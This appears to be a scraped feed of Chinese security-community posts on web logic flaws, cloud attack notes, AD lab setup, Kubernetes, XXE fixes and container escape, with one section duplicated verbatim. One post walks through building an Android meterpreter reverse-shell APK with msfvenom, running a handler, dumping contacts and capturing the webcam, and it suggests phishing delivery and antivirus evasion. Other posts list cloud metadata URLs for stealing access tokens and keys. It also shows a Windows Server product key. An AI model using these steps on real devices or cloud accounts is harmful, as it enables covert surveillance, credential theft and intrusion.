在有的项目进行渗透测试时,需要按照项目方要求添加自定义HTTP头,这样可以方便项目方人员识别我们渗透测试的流量。使用burpsuite插件卡了半天,所以记录一下。
2、正文
首先使用burpsuite两个扩展插件(Custom Header和Add Custom Header)均以失败告终。
burpsuite插件使用过程如下:
①使用Extender模块加载扩展插件

②使用Project options--->Sessions,添加Sessions Handling Rules

点击“add”按钮添加规则,然后选择扩展插件

在Scop选择要应用的功能模块以及URL Scop选择

插件使用过程如上所示,设置完成后,无法使用插件中的自定义HTTP头,不知道什么情况,哪位朋友成功了说一下,有可能burpsuit版本问题,但我没去试。
谷歌浏览器插件使用过程如下:
①burpsuite设置失败后就使用谷歌浏览器插件ModHeader
下载ModHeader插件,下载完成后拖进扩展程序,自动安装成功。

②然后打开扩展,选择请求头添加

这样就可以根据要求进行HTTP头自定义了.
2022年4月14日 13:03火线zone
1. 用户名枚举
漏洞描述:
一般存在于系统登录或注册页面,利用登陆系统中的漏洞可以试验出是否存在的哪些用户名,返回不同的出错信息可枚举出系统中存在的用户名。
此处以注册页面为例,通过手工的方式输入账号查看回显信息。在注册页面输入admin用户提示当前用户名已被占用
查看数据包,如果存在该用户名则返回0,如果不存在则返回1

发送到暴力破解模块导入字典,设置响应内容
得出3个用户
修复方案:
对系统登录失败提示语句表达内容进行统一的模糊描述,如用户名或密码错误
2. 用户批量注册
漏洞危害描述:
网站的攻击者可以通过批量注册用户,能够实施大规模非法操作,如抢优惠券、恶意刷单等。这给服务商造成了直接的经济损失,而大量的垃圾用户也会占用系统资源,增加系统运行压力。
该注册页面为进行任何校验,导致批量注册漏洞的产生

修复建议:
1、增强验证码机制,为防止验证码被破解,可以适当增加验证码生成的强度,例如中文图形验证码。
2、限制一定时间内IP登录失败次数。
3. 验证码可绕过
常见的验证方式有:验证码(字符或数值计算),滑动验证(滑块或特定路径),点击验证(按照要求点击字符或图案)等。
该验证码只在前端验证,因此可以在后端绕过

可以看到验证码的包未发送到后端验证,只在前端校验
修复方案:
可从以下几个方面预防认证绕过:
增加验证码,不使用前端验证,密码通过加密算法加密,失败次数多加锁,密码强度增加
4.爆破加密口令
漏洞描述:
认证过程中传输未加密或过于简单。
MD5加密:
从前端js代码查看,发现password字段加密中使用了md5进行了加密。


但这并不能给攻击者带来限制。只需设置加密载荷就可以

成功得到密码

AES对称加密:
输入账号admin 密码admin
抓包发现密码变了

查看前端js,发现使用了AES对称加密,并且密钥和偏移量都可见。
加密流程 base64——》AES-128-CBC——》base64

核对一下,开始逆推
先base64解密

在使用AES解密,再次得到base64编码

得到明文。

抓包设置:
使用到的插件burpcrypto
https://github.com/whwlsfb/BurpCrypto
插件上设置
此处载荷按顺序设置,AES调用刚刚插件设置的外部扩展

三次加密
破解成功
修复方案:
建议按照网站的密级要求,需要对密码传输过程中进行加密得使用加密的方式传
2022年4月14日 13:03火线zone
Kindling|基于eBPF技术构建的可观测性工具
https://mp.weixin.qq.com/s/I6YxUDhRJj1RN0CGHCP6Uw
云原生安全风险“避坑”指南
https://mp.weixin.qq.com/s/5IGnuv1vlDkX4zJmfjsd_g
案例:有道Kubernetes容器API监控系统设计和实践
https://mp.weixin.qq.com/s/wHhgoywbUIoF9AlHu3nO0g
利用gateway-api,我支配了kubernetes | 高级攻防05
https://mp.weixin.qq.com/s/Y4F72s0JSyvjLBN3iNyUZg
CVE-2022-25165:AWS VPN 客户端中的 SYSTEM 权限提升
https://rhinosecuritylabs.com/aws/cve-2022-25165-aws-vpn-client/
为什么 DevOps 管道受到攻击以及如何反击
https://www.csoonline.com/article/3649798/why-devops-pipelines-are-under-attack-and-how-to-fight-back.html
使用 OSCAL 自动化云策略
https://medium.com/scalesec/automating-cloud-policies-with-oscal-43a0c0ba198d
个人建议在 Microsoft Azure 上做出哪些改变
https://medium.com/cloud-security/what-i-would-change-on-microsoft-azure-part-1-4760d5f7ccbe
2022年4月13日 18:33火线zone
前言
最近在整理环境,要搭建一套专属域环境靶机,顺手水个文
准备
可用的server 2012 密钥
VDNYM-JBKJ7-DC4X9-BT3QR-JHRGY
安装完成后打开虚拟机,配置静态ip地址
AD域搭建
1.仪表盘->添加角色和功能
2.安装类型->基于角色或基于功能安装
3.选择服务器
4.添加Active Directory域服务和DNS服务器,添加功能
5.下一步直到确认安装,这里我勾选了NET Framework3.5可选择忽略,因为后期可能需要安装一些工具需要3.5的环境,所以提前安装上,这里如果自己的虚拟机时联网的,是可以正常安装的,3.5需要下载组件。否则不要勾选3.5。
在任务详细信息中可查看事件信息
未安装成功是红色×,功能正常安装属于蓝色叹号,黄色叹号为配置未完成,接下来要完成升级域控制器
部署配置->添加新林,根域名设置为betta.domain
域控制器选项,密码设置要符合密码策略<大小写字母+数字符号>
下一步
6.先决条件检查
新安装的win server 2012 R2的Administrator没有密码,先决条件检查需先设置密码,然后检查通过之后安装,等待重启
7.安装成功
8 确认域控服务器
nslookup -type=SRV ldap.tcp
2022年4月13日 18:03火线zone
前言
最近在整理环境,要搭建一套专属域环境靶机,顺手水个文
准备
可用的server 2012 密钥
VDNYM-JBKJ7-DC4X9-BT3QR-JHRGY
安装完成后打开虚拟机,配置静态ip地址
AD域搭建
1.仪表盘->添加角色和功能
2.安装类型->基于角色或基于功能安装
3.选择服务器
4.添加Active Directory域服务和DNS服务器,添加功能
5.下一步直到确认安装,这里我勾选了NET Framework3.5可选择忽略,因为后期可能需要安装一些工具需要3.5的环境,所以提前安装上,这里如果自己的虚拟机时联网的,是可以正常安装的,3.5需要下载组件。否则不要勾选3.5。
在任务详细信息中可查看事件信息
未安装成功是红色×,功能正常安装属于蓝色叹号,黄色叹号为配置未完成,接下来要完成升级域控制器
部署配置->添加新林,根域名设置为betta.domain
域控制器选项,密码设置要符合密码策略<大小写字母+数字符号>
下一步
6.先决条件检查
新安装的win server 2012 R2的Administrator没有密码,先决条件检查需先设置密码,然后检查通过之后安装,等待重启
7.安装成功
8 确认域控服务器
nslookup -type=SRV ldap.tcp
2022年4月13日 15:03火线zone
0x01、初始访问
1、元数据
微软云元数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata
微软为其 API 端点实施了一些额外的安全措施——需要特殊的标头:Metadata:true
http://169.254.169.254/metadata/versions 元数据版本,元数据功能会不时更新,但需要在访问时指定版本以保持向后兼容性 http://169.254.169.254/metadata/instance?api-version=2021-05-01 实例元数据,实例元数据提供 VM 配置信息。 http://169.254.169.254/metadata/attested/document?api-version=2021-05-01 认证数据,认证数据是由Microsoft签名的数据 http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01 负载均衡器元数据 http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01 预定活动,获取VM即将要发生的事件的信息 http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ 获取访问令牌
2、凭证泄露
Azure 平台用户名密码泄露、Access token泄露
可能会存在服务帐号密钥的位置,包括:开源项目的源代码库、公共存储桶、遭破解服务的公共数据转储、电子邮件收件箱、文件共享、备份存储、临时文件系统目录
0x02、命令执行
1、添加订阅所有者
从元数据获取Azure Rest API得令牌,如果返回了一个令牌,那么你将拥有一个可使用得托管身份,然后可以利用此令牌和REST API一起使用,在Azure中执行操作。
#---------Query MetaData for SubscriptionID---------# $response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/in
2022年4月13日 14:33火线zone
使用 Serverless Devs 插件快速部署前端应用
https://mp.weixin.qq.com/s/R7Kq8ZCTpZhwOOoqr9nbgg
使用 Go 语言开发 eBPF 程序
https://mp.weixin.qq.com/s/kobSoBYlcqSVdrfCujdGtg
云原生虚拟化的最佳拍档:Kube-OVN + KubeVirt
https://mp.weixin.qq.com/s/-kzLZumVQdQTKZKbCyD9Zw
云原生服务风险测绘分析(三): Kong和Apache APISIX
https://mp.weixin.qq.com/s/l8Q5WHX1xQXhV6pYh7mqwg
【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
https://mp.weixin.qq.com/s/WqaYa5lnflitLhkiIU8yLg
AWS RDS漏洞导致AWS内部服务凭证失效
https://blog.lightspin.io/aws-rds-critical-security-vulnerability
如何在 OpenShift 上使用 Kubeflow 和 MPI 运算符
https://cloud.redhat.com/blog/how-to-use-kubeflow-and-the-mpi-operator-on-openshift
OpenShift 应用程序的高可用性/灾难恢复指南
https://cloud.redhat.com/blog/a-guide-to-high-availability/disaster-recovery-for-applications-on-openshift
2022年4月12日 15:32火线zone
前言
这几天在搞一点儿比较有意思的东西,渗透的工具还能用来做什么,大佬告诉我说,运营商信号降频抓取客户数据信息,从而实现对目标有针对性的远程攻击,奈何没有设备,只能从现有的工具上想想搞一搞,这不,发现了之前没有注意的新功能,,,
准备
kali什么版本无所谓
手机一台或者使用模拟器
这里tips一下,夜神、mumu、雷电用着都不错
生成恶意远控apk
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.137.17 lport=6666 R>/root/桌面/test1.apk
文件传输,这里的话可以发散一下思路,比如说实现通过钓鱼实现远控手机,,,,只能说不建议使用微信传输,因为微信传输的时候默认加后缀无法直接解析,我这里使用的是QQ传输
桌面路径下生成的test1.apk
Android安装,正常情况下是会报毒的,我是使用实体机小米测试的,但是一般情况下不联网的话可以直接安装给权限就ok了,联网需要小米账号授权,但是想办法给恶意apk加壳免杀的话我觉得应该仅需要授权就可以完成。
攻击端构造监听取值hi选哪个
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.137.17 set lport 6666
成功启动监听,启动恶意apk
连接成功
sysinfo //查看设备信息
dump_contacts //通讯录下载
看到手机通讯录
webcam_snap -i 1 //拍照一张
webcam_stream -V //视频录像
只要tcp连接不断,html中实时画面。
扩展想法
钓鱼邮件钓鱼页面,只要拥有容易过杀软的免杀手段安卓钓鱼的实现也是比较容实现的。
2022年4月12日 14:32火线zone
statefulset介绍
StatefulSet 是用来管理有状态的应用,例如数据库。数据库、Redis 这类有状态的,则不能随意扩充副本。
部署 StatefulSet 类型的 Mongodb 服务
为了统一固定的入口访问mongodb,需要写一个service。
apiVersion: apps/v1 kind: StatefulSet metadata: name: mongodb spec: replicas: 3 selector: matchLabels: app: mongodb serviceName: mongodb template: metadata: labels: app: mongodb spec: containers: - name: mongo image: mongo:4.4 # IfNotPresent 仅本地没有镜像时才远程拉,Always 永远都是从远程拉,Never 永远只用本地镜像,本地没有则报错 imagePullPolicy: IfNotPresent --- apiVersion: v1 kind: Service metadata: name: mongodb spec: selector: app: mongodb type: ClusterIP # HeadLess clusterIP: None ports: - port: 27017 targetPort: 27017
查看pod、statefulset、service:
statefulset特性:
Service 的 CLUSTER-IP 是空的,Pod 名字也是固定的。通过服务名进行连接。
Pod 创建和销毁是有序的,创建是顺序的,销毁是逆序的。
Pod 重建不会改变名字,除了IP,所以不要用IP直连
三个副本之间没有主从或其他关联,往其中一个数据库写入数据,不会影响其他两个数据库。
访问时,如果直接使用 Service 名字(这里是mongodb)连接,会随机转发请求到某个pod下。
要连接到指定 Pod 的数据库中,可以这样pod-name.service-name(这里是mongodb-0.mongodb)
configmap
Kubernetes 为我们提供了 ConfigMap,可以方便的配置一些变量。
configmap.yaml
apiVersion: v1 kind: Conf
2022年4月12日 14:02火线zone
使用 Helm 快速部署 Clusterpedia
https://mp.weixin.qq.com/s/dGp4fabofircq_BbyLe2Vg
Kubernetes Pod 删除操作源码解析
https://mp.weixin.qq.com/s/PD8SWEN-DBV45ZIKeVSzpQ
Kubernetes 中的流量管理和服务发现(直播回放 + PPT)
https://mp.weixin.qq.com/s/K31vS-e6JCeLZ_l4ga_mmQ
保护你的云存储安全的步骤
https://www.shawlocal.com/northwest-herald/opinion/column/2022/04/10/tech-tips-steps-to-securing-your-cloud-storage/
oc-mirror 如何帮助您降低容器管理的复杂性
https://cloud.redhat.com/blog/how-oc-mirror-will-help-you-reduce-container-management-complexity
Red Hat OpenShift and IBM Cloud
https://cloud.redhat.com/blog/red-hat-openshift-and-ibm-cloud
Kubernetes 1.24的删除和弃用
https://mp.weixin.qq.com/s/_5f7SW-kH-9EqJL403YYvg
【最新漏洞预警】CVE-2022-22954 VMware Workspace ONE Access SSTI漏洞
https://mp.weixin.qq.com/s/X_E0zWONLVUQcgP6nZ78Mw
2022年4月12日 11:32火线zone
前言
随着云计算技术的日益成熟和 DevOps 概念的推广,越来越多的企业选择将其业务上云,基于云计算的容器技术在分布式计算环境中得到广泛部署。然而,容器在其生命周期内会存在多种安全威胁,如恶意镜像、运行时攻击和内核权限提升等。
目前,容器的安全防护主要依赖于 Linux 内核安全机制中的 DAC、MAC 和Namespace 隔离等技术。例如,对于 Ubuntu 系统而言,其会默认开启AppArmor 防护,该防护机制会为 docker 容器生成 docker-default 规则,以对 docker 容器内应用的行为进行限制,进而保障 docker 容器和 Linux 宿主机的安全。本文将从 docker 容器的 CVE-2019-5736 漏洞入手,浅析 AppArmor 对docker容器的实际防护效果,会从 CVE-2019-5736 漏洞概述及复现和探索 Apparmor 防御机制两个方面进行介绍。
CVE-2019-5736 概述及复现
1 漏洞概述
2019年2月,runC 维护团队公布了影响 Docker、containerd、Podman 和 CRI-O 等默认运行时容器 runC 的严重漏洞 CVE-2019-5736。该漏洞是波兰 CTF 战队Dragon Sector 在CTF赛后对 runC 进行漏洞挖掘成功发现的,其能覆盖宿主机runC 程序完成容器逃逸。该漏洞关键点是在于 runC,docker 在运行 exec 类似功能的命令时,底层实际上是 runC 在执行,即由 runC 在容器内部执行用户指定的程序。
runC 会使用一种特殊的符号链接(/proc/[runC-PID]/exe),该链接会指向进程自身对应的本地程序文件,通过它可轻松将宿主机上的 runC 二进制文件覆盖掉。当用户再次调用 runC 执行命令,此时执行的将是攻击者放置的任意恶意命令,实现容器逃逸。
2 漏洞复现概述
2.1 影响版本
docker version <=18.09.2
runC version <=1.0-rc6
2.2 漏洞验证
当使用某开源 POC 执行攻击后,发现宿主机 /tmp 目录下存在创建的“恶意”空文件夹,由此证明漏洞是真实存在的。
主要进行的是漏洞的概念性验证,通过一种无损的模式在宿主机指定目录创建了空文件夹“runc-pwn-test”。在真实攻击场景中,攻击者可以在 POC 
2022年4月12日 00:01火线zone
背景
最近在研究web框架时,对"请求上下文"这个基础概念有了更多的了解,因此记录一下,包括以下内容:
"请求上下文"是什么?
web框架(flask和gin)实现"请求上下文"的区别?
"线程私有数据"是什么?
学习过程
"请求上下文"是什么?
根据 Go语言动手写Web框架 - Gee第二天 上下文Context 和 Context:请求控制器,让每个请求都在掌控之中 两篇文章,可以知道从"框架开发者"的角度看,"请求上下文"包括:
* 请求对象:包括请求方法、路径、请求头等内容 * 响应对象:可以用来返回http响应 * 工具函数:可以用来更方便地操作"请求对象"和"响应对象"
那么web框架怎么让"框架的使用者"拿到"请求上下文"呢?
"框架的使用者怎么"拿到"请求上下文"?
flask框架中请求上下文是一个全局变量,而gin框架中请求上下文被当作参数传递。
根据flask文档知道request对象包含有请求信息,可以如下获取
from flask import request @app.route('/login', methods=['POST', 'GET']) def login(): ... if request.method == 'POST': if valid_login(request.form['username'], request.form['password']):
根据gin文档知道gin.Context实例c中包含有请求信息,可以如下获取
router := gin.Default() router.GET("/welcome", func(c *gin.Context) { firstname := c.DefaultQuery("firstname", "Guest") lastname := c.Query("lastname") // shortcut for c.Request.URL.Query().Get("lastname") c.String(http.StatusOK, "Hello %s %s", firstname, lastname) })
从上面的使用方法可以看出来,flask和gin框架实现"请求上下文"有一些区别:
* gin框架中"框架使用者"需要把"请求上下文"当作参数,显示地传递 * flask框架中"框架使用者"只需要request这个
2022年4月11日 14:31火线zone
前言
近期准备面试题时,XXE漏洞防范措施(或者说修复方式)在一些文章中比较简略,
故本文根据研究进行总结,作为技术漫谈罢了。
简述
XXE漏洞
XXE(XML外部实体注入),程序解析XML数据时候,同时解析了攻击者伪造的外部实体。
XML用途是为了跨平台语言传输数据。常常用于WEB开发等
XXE漏洞攻防情况
通常来说,XML文档生成时会常用到XXE和内部实体。因此开发团队根据项目需求去进行防范XXE漏洞。
然而实际情况是,即使采取了防范措施(错误的方法),XXE漏洞仍然可以大行其道。
有一个案例,某开发团队针对CVE-2018-20318漏洞进行了及时的修复,依照的是官方的修复方案:
禁止实体扩展引用,dbFactory.setExpandEntityReferences(false)
然而后续XXE漏洞仍然可以奏效,有师傅又提交了CVE漏洞。
最后有师傅总结正确的修复方法,如下
禁用XXE处理分析
根据上述所说,XXE漏洞的正确处理是尤为重要的。我们这里以Java为例,
并且应用偏向于JAXP API进行分析如何禁用XXE处理
禁用文档类型
首先可以禁用文档类型。实体通过XML 文档的 DOCTYPE 进行声明。
我们在进行安全开发规划时,如确定不需要 DOCTYPE 声明时,可以完全禁用禁用文档类型。
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
当我们设置为true时,disallow-doctype-decl 使XML处理器发现DOCTYPE 声明时抛出异常。
禁用外部实体声明
其次是可以允许声明DOCTYPE,但禁用外部实体声明。
故若想要正常处理其他DTD声明,只针对外部实体进行抛出异常。可以用下面两种方法设置为flase来处理:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
补充说明:在PHP中,libxml库默认下是安全的,总是禁用外部实体。除非通过设置LIBXML_NOENT
参数进行允许
2022年4月11日 13:01火线zone
下面所讲的大部分操作是基于拿到华为云用户泄漏的AK SK或者凭证而进行的一系列操作
目录:

0x01、初始访问
1、元数据
华为云元数据地址:http://169.254.169.254,需要注意直接访问是看不到openstack目录的,下面列举几个常见的目录
/latest/meta-data/local-ipv4 #用于查询弹性云服务器的固定IP地址。多网卡情况下,只显示主网卡的地址。
/latest/meta-data/hostname #用于查询弹性云服务器的主机名称,后面会追加.novalocal后缀
/latest/meta-data/instance-type #用于查询弹性云服务器的规格名称。
/latest/meta-data/placement/availability-zone #用于查询弹性云服务器的AZ信息。
/latest/meta-data/public-keys/0/openssh-key #用于查询弹性云服务器的公钥
/openstack/latest/meta_data.json #用于查询弹性云服务器的元数据
/openstack/latest/user_data #用于查询弹性云服务器的自定义数据。
/openstack/latest/network_data.json #查询弹性云服务器的网络信息,支持查询云服务器挂载的全部网卡的信息,包括网卡所在子网的DNS地址、网络带宽、网卡ID、网卡私有IP地址、网卡弹性公网IP地址、网卡的MAC地址。
/openstack/latest/securitykey #获取临时的AK、SK
2、凭证泄漏
控制台账号密码泄露,例如登录控制台的账号密码(主账号异地登录需要验证码,IAM账号登录只需要用户名和密码)
临时凭证泄露
访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
3、账号劫持
云平台本身的漏洞,可以劫持其他用户的账号
华为云api explorer会给每个用户分配一台docker机器,大家可以研究下是否可以提权、逃逸从而进入别人的容器中

4、网络钓鱼
通过向管理员或运维人员发送钓鱼邮件、社工来获取用户凭证
0x02、命令执行
1、接管控制台
如果AK/SK的权限够高,就可以创建同权限的账号来达到接管控制台,在下面的第3章的第2节我们会讲到这个

2、服务器命令
很遗憾,华为云ECS只有登录服务
2022年4月11日 13:01火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:PIP提权原理To:Empire-Lupin实战
链接:https://zone.huoxian.cn/d/1051
作者:Betta
第二名:400元现金+400查克拉
标题:大妹子跟我说HJ“坏掉了”,搞不了?
链接:https://zone.huoxian.cn/d/1060
作者:Betta
第三名:300元现金+300查克拉
标题:SpringFramework漏洞复现
链接:https://zone.huoxian.cn/d/1066
作者:Betta
第四名:200元现金+200查克拉
标题:mo某靶机渗透测试思路zuizuizui详解
链接:https://zone.huoxian.cn/d/1070
作者:和
所有奖励每周一进行结算(即本周奖励结算上周的原创文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#,无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。